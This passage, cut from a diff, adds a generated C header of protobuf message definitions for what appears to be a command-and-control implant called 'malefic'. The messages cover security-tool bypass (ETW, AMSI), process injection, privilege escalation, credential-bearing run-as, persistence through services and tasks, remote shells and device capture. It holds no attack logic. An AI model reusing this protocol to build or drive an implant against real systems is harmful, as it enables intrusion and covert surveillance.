+#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ +X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define 